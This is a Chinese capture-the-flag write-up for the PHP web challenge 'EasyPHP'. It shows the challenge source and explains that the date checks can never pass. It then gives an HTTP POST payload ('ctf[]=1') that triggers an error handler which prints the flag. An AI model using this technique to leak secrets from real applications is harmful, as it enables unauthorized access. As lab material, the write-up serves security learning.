首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[Dest0g3 520迎新赛]EasyPHP

[Dest0g3 520迎新赛]EasyPHP

作者头像
熔城Sec
发布2026-07-22 20:55:15
发布2026-07-22 20:55:15
700
举报

01、题目简介

  • 题目名称:[Dest0g3 520迎新赛]EasyPHP
  • 题目平台:CTF²
  • 题目类型:Web

02、解题步骤

启动并访问靶机

源码是这样的

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

看到代码我们首先就是要绕过三个判断条件,但是这三个判断条件我们是怎么也绕不过去的

代码语言:javascript
复制
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;

在PHP中,字符串比较是按字符的ASCII码逐位比较的。日期最大值"31",比较"31">"31"为false;分钟最大值"59",比较"59">"60"也为 false。无论什么时间访问,这三个条件永远为假,$fl4g 永远不会在这里输出。

所以真正能输出的点就在下面

代码语言:javascript
复制
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }

set_error_handler 会接管 PHP 的常规错误处理。一旦发生任何错误或警告,都会调用这个匿名函数,看最后一行:

代码语言:javascript
复制
$fl4g .= $dest0g3;

这里的 .= 是字符串拼接操作符,期望 $dest0g3 是一个字符串。所以我们只需要把$dest0g3 变成一个数组就行了,所以构造payload

代码语言:javascript
复制
POST / HTTP/2
Host: ccf35bb2a50283a7941cc9f8.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

ctf[]=1
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档